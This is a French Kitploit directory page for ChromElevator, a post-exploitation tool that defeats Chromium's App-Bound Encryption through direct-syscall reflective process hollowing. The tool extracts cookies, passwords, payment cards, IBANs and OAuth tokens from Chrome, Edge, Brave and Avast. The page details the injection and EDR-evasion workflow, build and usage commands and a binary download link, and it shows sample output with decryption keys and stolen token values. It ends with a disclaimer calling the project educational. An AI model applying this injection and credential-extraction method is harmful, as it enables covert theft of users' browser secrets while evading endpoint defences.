Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Chrome-App-Bound-Encryption-Decryption — Contourner le chiffrement App-Bound de Chromium via le Process Hollowing réflexif basé sur des appels système directs. Extraire les cookies, mots de passe, méthodes de paiement et jetons de Chrome, Edge, Brave et Avast - sans fichier, mode utilisateur, aucun droit administrateur requis. | Kitploit
Outils/GitHubGitHub/xaitax/chrome-app-bound-encryption-decryption
Outils de Chiffrement/DéchiffrementAttaques de Mots de PasseExploitationExfiltration de DonnéesCollecte d'InformationsPost-ExploitationCryptographieRed Teaming

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHub
xaitax/chrome-app-bound-encryption-decryption

Chrome-App-Bound-Encryption-Decryption

Voir le dépôtSite web
1.7k292il y a 6 moisVérifié par Kitploit

À propos

Contourner le chiffrement App-Bound de Chromium via le Process Hollowing réflexif basé sur des appels système directs. Extraire les cookies, mots de passe, méthodes de paiement et jetons de Chrome, Edge, Brave et Avast - sans fichier, mode utilisateur, aucun droit administrateur requis.

Partager

ChromElevator (Chrome App-Bound Encryption Decryption)

🚀 Présentation

Build Status License Platform Languages Ask DeepWiki

Un outil de post-exploitation démontrant un contournement complet, en mémoire, du chiffrement App-Bound Encryption (ABE) de Chromium. Ce projet utilise le Process Hollowing Réflexif basé sur des Syscalls Directs (Direct Syscall-based Reflective Process Hollowing) pour lancer un processus navigateur légitime en état suspendu, en injectant furtivement une charge utile (payload) afin de détourner son identité et son contexte de sécurité. Cette technique Living-off-the-Land (LOTL) subvertit le modèle de sécurité du navigateur lui-même. L'approche sans fichier (fileless) permet à l'outil de fonctionner entièrement depuis la mémoire, en contournant les hooks d'API en mode utilisateur pour déchiffrer et exfiltrer des données utilisateur sensibles (cookies, mots de passe, paiements) des navigateurs Chromium modernes.

Si vous trouvez cette recherche utile, j'apprécierais un café :
ko-fi

🛡️ Piliers techniques essentiels

L'efficacité de cet outil repose sur une combinaison de techniques modernes axées sur l'évasion :

  • Syscalls Directs pour l'Évasion : Contourne les hooks EDR/AV en mode utilisateur sur les fonctions WinAPI standard en invoquant directement les fonctions du noyau. Le moteur résout dynamiquement les numéros de syscall à l'exécution à l'aide de la technique Hell's Gate avec correspondance de fonctions par hash (aucun nom de syscall en clair dans le binaire).

  • Process Hollowing basé sur des Syscalls Directs : Une technique furtive de création et d'injection de processus. Plutôt que d'injecter dans un processus à fort trafic, potentiellement surveillé, elle crée un nouveau processus hôte suspendu. Cela réduit considérablement les risques de détection, car toutes les manipulations mémoire ont lieu avant que le processus ne commence son exécution normale.

  • Payload en mémoire sans fichier (Fileless) : La DLL du payload ne touche jamais le disque sur la machine cible. Elle est intégrée sous forme de tableau d'octets chiffré ChaCha20 au moment de la compilation avec des clés dérivées à la compilation, déchiffrée en mémoire et chargée par réflexion, minimisant ainsi son empreinte forensique et contournant les scanners statiques basés sur les fichiers.

  • Injection de DLL Réflexive (RDI) : Une méthode furtive d'injection de processus qui contourne LoadLibrary pour le payload principal, évitant ainsi les mécanismes de détection qui surveillent les chargements de modules. Le chargeur bootstrap autonome mappe les sections PE, effectue les relocalisations et résout les imports depuis la mémoire.

  • Invocation COM dans le contexte cible : Le pivot central pour vaincre l'App-Bound Encryption. En exécutant du code dans le processus navigateur de confiance, nous héritons de son identité et de son contexte de sécurité, ce qui nous permet d'effectuer des appels d'apparence légitime au serveur COM ABE et de satisfaire ses contrôles de sécurité par validation de chemin.

⚙️ Fonctionnalités

Fonctionnalités principales

  • 🔓 Déchiffrement complet en mode utilisateur des cookies, mots de passe, moyens de paiement, IBAN et jetons Google OAuth.
  • 📁 Découvre et traite tous les profils utilisateur (Default, Profile 1, etc.).
  • 📝 Exporte toutes les données extraites vers des fichiers JSON structurés, organisés par profil.
  • 🔍 Empreinte (fingerprinting) complète du navigateur avec informations système.

Furtivité et évasion

  • 🛡️ Livraison de payload sans fichier : Déchiffrement et injection en mémoire d'un payload intégré chiffré.
  • 🛡️ Moteur de syscalls directs : Contourne les défenses courantes des endpoints en évitant les API en mode utilisateur hookées pour toutes les opérations de processus.
  • 🛡️ Résolution de syscalls par hash : Aucun nom de fonction Nt*/Zw* en clair dans le binaire — utilise des hash DJB2 au moment de la compilation.
  • 🛡️ Dérivation de clés à la compilation : Clés de chiffrement dérivées des métadonnées de build, uniques pour chaque build.
  • 🛡️ Destruction des en-têtes PE : En-têtes PE oblitérés avec des données pseudo-aléatoires après l'injection pour échapper aux scanners mémoire.
  • 🛡️ Mimétisme IPC : Schémas de named pipes spécifiques au navigateur qui se fondent dans le trafic IPC légitime du navigateur.
  • 🤫 Process Hollowing : Crée un processus hôte bénin et suspendu pour le payload, évitant l'injection dans des processus potentiellement surveillés.
  • 👻 Injection de DLL réflexive : Charge furtivement le payload sans appels LoadLibrary suspects.
  • 🔒 Contournement non intrusif du verrouillage de fichiers : Utilise la duplication de handles par syscalls pour accéder aux bases SQLite verrouillées sans terminer les processus du navigateur. L'option --kill est disponible pour une terminaison complète du processus.
  • 💼 Aucun privilège administrateur requis : Fonctionne entièrement dans le contexte de sécurité de l'utilisateur.

Compatibilité et convivialité

  • 🌐 Fonctionne sur Google Chrome, Brave, Edge et Avast Secure Browser.
  • 💻 Prend en charge nativement les architectures x64 et ARM64.
  • 🚀 Fonctionnement autonome : Crée automatiquement un nouveau processus navigateur pour héberger le payload, sans nécessiter d'instances déjà en cours d'exécution.
  • 📁 Dossier de sortie personnalisable pour les données extraites.
image

📦 Versions prises en charge et testées

Remarque : Chrome/Brave/Edge 144+ utilisent la nouvelle interface COM IElevator2. Cet outil utilise automatiquement IElevator2 lorsqu'elle est disponible et revient à IElevator pour les versions plus anciennes. Avast Secure Browser utilise une interface IElevatorChrome personnalisée avec une vtable étendue (12 méthodes, DecryptData au décalage 104).

🔍 Matrice de prise en charge des fonctionnalités

Cette matrice décrit les capacités d'extraction pour chaque navigateur pris en charge.

🔬 Flux de travail technique

L'exécution de l'outil est axée sur la furtivité et l'efficacité, et repose sur un processus de Reflective Hollowing basé sur des Syscalls Directs. Cette approche garantit que peu d'appels API de haut niveau sont effectués et que le payload opère depuis un processus navigateur légitime récemment créé.

Étape 1 : L'injecteur (chromelevator.exe)

  1. Pré-vol et initialisation : L'injecteur commence par initialiser son moteur de syscalls directs, en analysant dynamiquement ntdll.dll pour résoudre les numéros de syscall (SSN) à l'aide d'une correspondance par hash et pour localiser les gadgets de transition noyau (syscall/ret ou svc/ret). Si l'option --kill est spécifiée, il utilise les syscalls NtGetNextProcess et NtTerminateProcess pour terminer toutes les instances en cours d'exécution du navigateur cible, libérant ainsi les verrous de fichiers sur les bases SQLite.
  2. Préparation du payload : La DLL du payload principal, intégrée sous forme de tableau d'octets chiffré ChaCha20 au moment de la compilation avec des clés dérivées à la compilation, est déchiffrée entièrement en mémoire.
  3. Process Hollowing : Plutôt que de cibler un processus existant, l'injecteur crée une nouvelle instance du navigateur cible dans un état CREATE_SUSPENDED (CreateProcessW). Ce processus vierge et suspendu sert d'hôte à notre payload.
  4. Injection réflexive via les syscalls : Grâce au moteur de syscalls directs, l'injecteur effectue une série d'actions furtives sur le processus suspendu :
    • Il alloue de la mémoire à l'aide de NtAllocateVirtualMemory (syscall direct).

Étape 2 : Le payload injecté (en mémoire)

  1. Amorçage (bootstrapping) : Le chargeur réflexif Bootstrap s'exécute, agissant comme un chargeur PE personnalisé en mémoire avec une furtivité renforcée :
    • Alloue une nouvelle mémoire pour le payload à l'aide de syscalls directs vers NtAllocateVirtualMemory (contournant VirtualAlloc hooké).
    • Mappe correctement les sections de la DLL et effectue les relocalisations de base.
    • Résout sa table d'adresses d'importation (IAT) en analysant le PEB et en hachant les noms de fonctions.
    • Définit les permissions des sections à l'aide de syscalls directs vers NtProtectVirtualMemory.
    • Détruit les en-têtes PE en écrasant les en-têtes DOS/NT avec des données pseudo-aléatoires, éliminant ainsi la signature MZ de la mémoire.
    • Enfin, il invoque DllMain du payload.
  2. Connexion et configuration : Le DllMain crée un nouveau thread qui se connecte immédiatement au handle du named pipe passé par l'injecteur. Il lit la configuration, y compris le chemin de sortie, envoyée par l'injecteur. Tous les journaux et mises à jour de statut ultérieurs sont relayés via ce pipe.
  3. Détournement COM dans le contexte cible : S'exécutant désormais nativement dans le processus navigateur, le payload instancie le serveur COM interne du navigateur (IElevator2 pour Chrome/Brave 144+, IElevator pour les versions antérieures, pour Edge, ou pour Avast Secure Browser). Comme l'appel provient d'un chemin de processus de confiance, tous les contrôles de sécurité du serveur sont validés.

🔧 Instructions de compilation

Ce projet utilise un script de compilation simple et robuste qui gère automatiquement toute la compilation et l'intégration du payload.

  1. Clonez ce dépôt.

  2. Ouvrez une invite de commandes développeur pour Visual Studio (ou tout shell compatible MSVC).

  3. Exécutez le script de compilation make.bat à la racine du projet.

Options de compilation :

  • make.bat - Compilation complète (par défaut)
  • make.bat clean - Supprime tous les artefacts de compilation
  • make.bat build_encryptor_only - Compile uniquement l'encrypteur (utilisé par le CI)
  • make.bat build_target_only - Compile le payload et l'injecteur (utilisé par le CI)

Compilations automatisées avec GitHub Actions

Ce projet utilise GitHub Actions pour compiler automatiquement l'exécutable de l'injecteur (chromelevator.exe) pour les architectures x64 et ARM64.

Vous pouvez trouver les derniers binaires précompilés sur la page des versions. Les exécutables pour les deux architectures sont regroupés dans un seul fichier .zip pratique.

Contenu du pack de version :

  • chromelevator_x64.exe
  • chromelevator_arm64.exe

🚀 Utilisation```bash

PS> .\chromelevator.exe --help

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

Usage: chromelevator.exe [options] <chrome|chrome-beta|edge|brave|avast|all>

Options: -v, --verbose Show detailed output -f, --fingerprint Extract browser fingerprint -k, --kill Kill all browser processes before extraction -o, --output-path Custom output directory

root@kitploit:~
### Options

- `--output-path <path>` ou `-o <path>`
  Spécifie le répertoire de base pour les fichiers de sortie.
  Par défaut, `.\output\` relatif à l'emplacement de l'injecteur.
  Les données seront organisées en sous-dossiers : `<path>/<BrowserName>/<ProfileName>/`.

- `--verbose` ou `-v`
  Active une sortie de débogage détaillée de l'injecteur.

- `--fingerprint` ou `-f`
  Extrait des données complètes d'empreinte numérique du navigateur, y compris la version, les extensions, les paramètres de sécurité et les informations système.
  Les résultats sont enregistrés dans `fingerprint.json` dans le répertoire de sortie du navigateur.

- `--kill` ou `-k`
  **Termine tous les processus des navigateurs avant l'extraction.** Utilise des appels système directs (`NtTerminateProcess`) pour terminer toutes les instances en cours d'exécution des navigateurs cibles avant de tenter l'extraction des données. C'est utile lorsque des navigateurs sont en cours d'exécution et verrouillent des fichiers de base de données, empêchant l'outil d'accéder aux cookies ou à d'autres données chiffrées.

- `--help` ou `-h`
  Affiche ce message d'aide.

### Exécution normale```bash
PS> .\chromelevator.exe all

_________ .__                         ___________.__                       __
\_   ___ \|  |_________  ____   _____ \_   _____/|  |   _______  _______ _/  |_  ___________
/    \  \/|  |  \_  __ \/  _ \ /     \ |    __)_ |  | _/ __ \  \/ /\__  \\   __\/  _ \_  __ \
\     \___|   Y  \  | \(  <_> )  Y Y  \|        \|  |_\  ___/\   /  / __ \|  | (  <_> )  | \/
 \______  /___|  /__|   \____/|__|_|  /_______  /|____/\___  >\_/  (____  /__|  \____/|__|
        \/     \/                   \/        \/           \/           \/
 Direct Syscall-Based Reflective Hollowing
 x64 & ARM64 | v0.20.0 by @xaitax

  ┌──── Brave (143.1.85.120) ──────────────────────
  │
  │ Decryption Key
  │ 2522A3C1730EA8EE84BAAD1994DB31E20437D9DCF27628997598BB5B86F73DCD
  │
  ├── Default
  │   Cookies     3312
  │   Passwords   55
  │   Cards       1
  │   IBANs       1
  │
  └── 3312 cookies, 55 passwords, 1 cards, 1 IBANs (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Brave

  ┌──── Chrome (143.0.7499.193) ───────────────────
  │
  │ Decryption Key
  │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094
  │
  ├── Default
  │   Cookies     380
  │   Passwords   1
  │
  ├── Profile 1
  │   Cookies     932
  │   Passwords   791
  │   Cards       1
  │   IBANs       1
  │   Tokens      2
  │
  └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

  ┌──── Chrome Beta (144.0.7559.59) ───────────────
  │
  │ Decryption Key
  │ C147F0657D7AD5881F16CC0A2994E41A18A7B5F567B8CF81C7F87227ABB4F1B7
  │
  ├── Default
  │   Cookies     224
  │
  └── 224 cookies (1 profile)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome Beta

  ┌──── Edge (144.0.3719.67) ──────────────────────
  │
  │ Decryption Key
  │ B0334FAD7F5805362CB4C44B144A95AB7A68F7346EF99EB3F175F09DB08C8FD9
  │
  ├── Default
  │   Cookies     226
  │   Passwords   2
  │   Cards       1
  │
  ├── Profile 1
  │   Cookies     25
  │
  └── 251 cookies, 2 passwords, 1 cards (2 profiles)
      C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Edge

Verbeux```bash

PS> .\chromelevator.exe -v -f chrome

_________ .__ . __ _ ___ | | ____ _____ _ /| | _______ _______ / | ___________ / \ /| | _ __ / _ \ / \ | ) | | / __ \ / /_ \ / _ _ __
\ _
| Y \ | ( <
> ) Y Y | | |\ /\ / / __ | | ( <> ) | / _
/
| /| _/|__|| /_______ /|/___ >_/ ( /| __/|__| / / / / / / Direct Syscall-Based Reflective Hollowing x64 & ARM64 | v0.20.0 by @xaitax

┌──── Chrome (143.0.7499.193) ─────────────────── │ Creating suspended process: C:\Program Files\Google\Chrome\Application\chrome.exe │ [+] Process created (PID: 26560) │ [+] IPC pipe established: \.\pipe\chrome.nacl.49645_5F55 │ Deriving runtime decryption keys... │ [+] Payload decrypted (1073 KB) │ [+] Bootstrap entry point resolved (offset: 0x2ae70) │ Allocating memory in target process via syscall... │ [+] Memory allocated at 0x268e2d90000 (1076 KB) │ [+] Payload + parameters written │ [+] Memory protection set to PAGE_EXECUTE_READ │ Creating remote thread via syscall... │ [+] Thread created (entry: 0x268e2dbae70) │ Awaiting payload connection... │ [+] Payload connected │ Running in Chrome │ │ Decryption Key │ 3FA14DC988A34C85BDB872159B739634CB7E56F8E34449C1494297B9B629D094 │ ├── Default │ Size 14 MB │ Cookies 380 │ Passwords 1 │ ├── Profile 1 │ Size 491 MB │ Cookies 932 │ Passwords 791 │ Cards 1 │ IBANs 1 │ Tokens 2 │ Extracting comprehensive fingerprint... │ Fingerprint saved to fingerprint.json │ └── 1312 cookies, 792 passwords, 1 cards, 1 IBANs, 2 tokens (2 profiles) C:\Users\ah\Documents\GitHub\Chrome-App-Bound-Encryption-Decryption\output\Chrome

root@kitploit:~
## 📂 Extraction des données

Une fois le déchiffrement terminé, les données sont enregistrées dans le chemin de sortie spécifié (par défaut `.\output\` si non spécifié via `--output-path`). Les fichiers sont organisés comme suit :

**Chemin de base :** `YOUR_CHOSEN_PATH` (par exemple `.\output\` ou le chemin que vous fournissez)
**Structure :** <Base Path>/<BrowserName>/<ProfileName>/<data_type>.json

Exemples de chemins (en supposant l'emplacement de sortie par défaut) :

- 🍪 **Cookies (profil par défaut de Chrome) :** .\output\Chrome\Default\cookies.json
- 🔑 **Mots de passe (Edge Profil 1) :** .\output\Edge\Profile 1\passwords.json
- 💳 **Méthodes de paiement (profil par défaut de Brave) :** .\output\Brave\Default\payments.json
- 🏦 **IBAN (Chrome Profil 1) :** .\output\Chrome\Profile 1\iban.json

### 🍪 Extraction des cookies

Chaque fichier de cookies est un tableau JSON d'objets :```json
[
  {
    "host": "accounts.google.com",
    "name": "ACCOUNT_CHOOSER",
    "path": "/",
    "expires": 1766591611,
    "value": "AFx_qI781-…"
  },
  {
    "host": "mail.google.com",
    "name": "OSID",
    "path": "/mail",
    "expires": 1766591611,
    "value": "g.a000uwj5ufIS…"
  },
  …
]

🔑 Extraction de mots de passe

Chaque fichier de mots de passe est un tableau JSON d'objets :```json [ { "url": "https://example.com/login", "user": "[email protected]", "pass": "••••••••••" }, … ]

root@kitploit:~
### 💳 Extraction des méthodes de paiement

Chaque fichier de paiement est un tableau JSON d'objets :```json
[
  {
    "name": "John Doe",
    "month": 12,
    "year": 2030,
    "number": "••••••••••1234",
    "cvc": "•••"
  },
  …
]

🏦 Extraction IBAN

Chaque fichier IBAN est un tableau JSON d'objets :```json [ { "nickname": "UK Test", "iban": "GB33BUKB20201555555555" } ]

root@kitploit:~
### 🎟️ Extraction de jetons

Chaque fichier de jetons est un tableau JSON d'objets contenant le service, le jeton déchiffré et la clé de liaison (si présente) :```json
[
  {
    "service": "AccountId-112823413702122221871",
    "token": "1//03VJGN_vL2FR5CgYIARAAGAMSNwF-L9IrtiyH_tmtOneETFya5GEGiewlEMrLwDMuOl56zRoShNE77DfyOXhofn5Ryo_...",
    "binding_key": ""
  }
]

🔍 Empreinte du navigateur

Lors de l'utilisation de l'option --fingerprint ou -f, un rapport complet de métadonnées est généré :```json { "browser": "Chrome", "executable_path": "C:\Program Files\Google\Chrome\Application\chrome.exe", "browser_version": "143.0.7499.170", "user_data_path": "C:\Users\username\AppData\Local\Google\Chrome\User Data", "sync_enabled": false, "enterprise_managed": true, "update_channel": "stable", "hardware_acceleration": false, "metrics_enabled": false, "autofill_enabled": true, "password_manager_enabled": false, "safe_browsing_enabled": true, "do_not_track": false, "third_party_cookies_blocked": false, "translate_enabled": true, "installed_extensions_count": 2, "extension_ids": ["ghbmnnjooekpmoecnnnilnnbdlolhkhi", "nmmhkkegccagdldgiimedpiccmgmieda"], "profile_count": 2, "computer_name": "DESKTOP-ABC123", "windows_user": "username", "os_version": "10.0.26220", "architecture": "ARM64", "last_config_update": 1766578854, "extraction_timestamp": 1766591611, "extraction_complete": true }

root@kitploit:~
Ces données fournissent des informations sur la configuration du navigateur, sa posture de sécurité et le contexte système.

## 📚 Analyse technique approfondie et recherche

Pour une compréhension complète de l'App-Bound Encryption de Chrome, des subtilités de son implémentation, du fonctionnement détaillé de l'approche de cet outil et d'une discussion plus large sur les vecteurs de sécurité associés, veuillez consulter mon article de recherche détaillé :

1.  ➡️ **[Chrome App-Bound Encryption (ABE) - Analyse technique approfondie et notes de recherche](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/RESEARCH.md)**

    Ce document couvre :

    - L'évolution de DPAPI vers ABE.
    - Une décomposition étape par étape du mécanisme ABE, incluant les interactions COM `IElevator`/`IElevator2` et l'enveloppement de clés.
    - La méthodologie détaillée de la stratégie d'injection DLL utilisée par cet outil.
    - L'analyse des structures de données chiffrées et des informations pertinentes sur le code source de Chromium.
    - La discussion des vecteurs de déchiffrement alternatifs et des défenses évolutives de Chrome.

2.  ➡️ **[L'étrange cas du COM récalcitrant : déchiffrer l'App-Bound Encryption de Microsoft Edge](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Curious_Case_of_the_Cantankerous_COM_Decrypting_Microsoft_Edge_ABE.md)**

    Cet article détaille les défis spécifiques et le parcours de rétro-ingénierie entrepris pour parvenir à un déchiffrement ABE fiable pour Microsoft Edge. Il comprend :

    - Un compte rendu des problèmes initiaux et des codes d'erreur trompeurs (`E_INVALIDARG`, `E_NOINTERFACE`).
    - Le processus d'utilisation de l'introspection de bibliothèque de types COM (avec Python `comtypes`) pour découvrir la structure et l'héritage uniques de la vtable `IElevatorEdge` d'Edge.
    - Comment cette découverte a conduit à des stubs d'interface C++ sur mesure pour une interaction réussie avec le service ABE d'Edge.
    - Un aperçu pratique du débogage des problèmes délicats d'interopérabilité COM.

3.  ➡️ **[L'Elevator fait peau neuve : Chrome 144, IElevator2 et l'horizon Mojo](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/The_Elevator_Gets_an_Upgrade_Chrome_144_IElevator2_and_the_Mojo_Horizon.md)**

    Cet article traite de la nouvelle interface COM `IElevator2` de Chrome 144 et de ce qu'elle signifie pour ABE :

    - Comparaison technique entre les interfaces `IElevator` de Chrome 143 et `IElevator2` de Chrome 144.
    - Analyse des deux nouvelles méthodes (`RunIsolatedChrome`, `AcceptInvitation`) et de leur lien avec la migration Mojo IPC prévue par Chromium.
    - Comparaison des dispositions de VTable montrant la préservation de la rétrocompatibilité.
    - L'adoption partielle de `IElevator2` par Edge 144 et les nouvelles interfaces Copilot.
    - Évaluation honnête de ce que la migration Mojo change (et ne change pas) pour la sécurité d'ABE.

4.  ➡️ **[COMrade ABE : votre manuel de terrain pour les dessous COM de l'App-Bound Encryption](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/docs/COMrade_ABE_Field_Manual.md)**

    Ce manuel de terrain présente **COMrade ABE**, un analyseur dynamique basé sur Python pour les interfaces COM d'ABE, et explore ses applications pratiques :

    - Explique la nécessité d'une analyse dynamique des interfaces COM en raison des variations et des mises à jour des navigateurs.
    - Détaille la méthodologie de COMrade ABE : analyse du registre pour la découverte de services, chargement et analyse de la bibliothèque de types, et correspondance heuristique des signatures de méthodes ABE.
    - Fournit un guide complet pour interpréter la sortie de COMrade ABE, y compris les CLSID, les IID (format standard et style C++), ainsi que l'importance des détails de sortie verbeuse comme les offsets de VTable, les interfaces de définition et les chaînes d'héritage complètes.
    - Met en évidence l'utilité des stubs C++ générés automatiquement (`--output-cpp-stub`) pour un développement et une recherche rapides.
    - Explique comment COMrade ABE aide à s'adapter aux évolutions d'ABE, à analyser les nouveaux navigateurs Chromium et à comprendre les personnalisations COM spécifiques aux fournisseurs.

## 🔗 Ressources supplémentaires et recherche

Ce projet s'appuie sur le travail et les analyses de la communauté de la sécurité au sens large.

- **Documentation officielle et annonces :**

  - [Google Security Blog : Améliorer la sécurité des cookies Chrome sous Windows](https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html)
  - [Document de conception : service de chiffrement app-bound de Chrome](https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view)

- **Recherche communautaire et remerciements :**
  - Preuve de concept par [snovvcrash](https://gist.github.com/snovvcrash/caded55a318bbefcb6cc9ee30e82f824)

## 🗒️ Journal des modifications

Toutes les modifications notables de ce projet sont documentées dans le fichier [**CHANGELOG**](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/CHANGELOG.md). Cela inclut l'historique des versions, les nouvelles fonctionnalités, les corrections de bogues et les améliorations de sécurité.

## 📜 Licence

Ce projet est sous licence MIT - voir le fichier [LICENSE](https://github.com/xaitax/chrome-app-bound-encryption-decryption/blob/HEAD/LICENSE) pour plus de détails.

## 💡 Philosophie du projet et avertissement

> [!IMPORTANT]
> Ceci est un projet de loisir créé à des fins éducatives et de recherche en sécurité. Il sert d'expérience d'apprentissage personnelle et de terrain de jeu pour explorer des concepts Windows avancés.
>
> **Cet outil n'est PAS destiné à être un infostealer complet ou un outil garanti d'évasion EDR.** Bien qu'il utilise des techniques avancées, son objectif principal est de démontrer et de disséquer le mécanisme ABE, et non de fournir une furtivité opérationnelle pour un usage malveillant. Veuillez vous assurer de respecter toutes les directives légales et éthiques applicables.
Télécharger l’outil
NavigateurVersion testée (x64 et ARM64)
Google Chrome144.0.7559.133
Google Chrome Beta145.0.7632.18
Brave1.86.148 (144.1.86.148)
Microsoft Edge145.0.3800.36
Avast Secure Browser143.0.33371.147
FonctionnalitéGoogle ChromeMicrosoft EdgeBraveAvast Secure Browser
Cookies✅ ABE✅ ABE✅ ABE✅ ABE
Mots de passe✅ ABE✅ ABE✅ ABE✅ ABE
Moyens de paiement✅ ABE✅ ABE✅ ABE✅ ABE
IBAN✅ ABE❌ N/A✅ ABE✅ ABE
Jetons d'authentification✅ Google❌ N/A❌ N/A❌ N/A
  • Il écrit la DLL du payload déchiffré dans l'espace alloué avec NtWriteVirtualMemory.
  • Il modifie les permissions de la région mémoire en exécutable à l'aide de NtProtectVirtualMemory (syscall direct).
  • Il crée un named pipe pour la communication et écrit le nom du pipe dans la mémoire de la cible.
  • Exécution et contrôle : Un nouveau thread est créé dans le processus cible à l'aide de NtCreateThreadEx. L'adresse de départ du thread pointe directement vers l'export Bootstrap du payload, avec l'adresse du nom du pipe distant comme argument. Le thread principal d'origine du navigateur reste suspendu et n'est jamais repris. L'injecteur attend ensuite que le payload se reconnecte au pipe.
  • IEdgeElevatorFinal
    IAvastElevator
  • Déchiffrement de la clé maîtresse : Le payload appelle la méthode DecryptData sur l'interface COM, en fournissant la app_bound_encrypted_key qu'il lit dans le fichier Local State. Le serveur COM déchiffre la clé et renvoie la clé maîtresse AES-256 en clair au payload.
  • Exfiltration des données : Fort de la clé AES, le payload énumère tous les profils utilisateur (Default, Profile 1, etc.). Pour chaque profil, il interroge les bases SQLite concernées (Cookies, Login Data, Web Data), déchiffre les blobs de données à l'aide d'AES-256-GCM, et formate les secrets en JSON. Les résultats sont écrits directement dans le dossier de sortie spécifié par l'injecteur.
  • Arrêt : Après avoir traité tous les profils, le payload envoie un signal de fin à l'injecteur via le pipe et appelle FreeLibraryAndExitThread pour nettoyer. L'injecteur, à la réception du signal, termine le processus hôte parent avec NtTerminateProcess.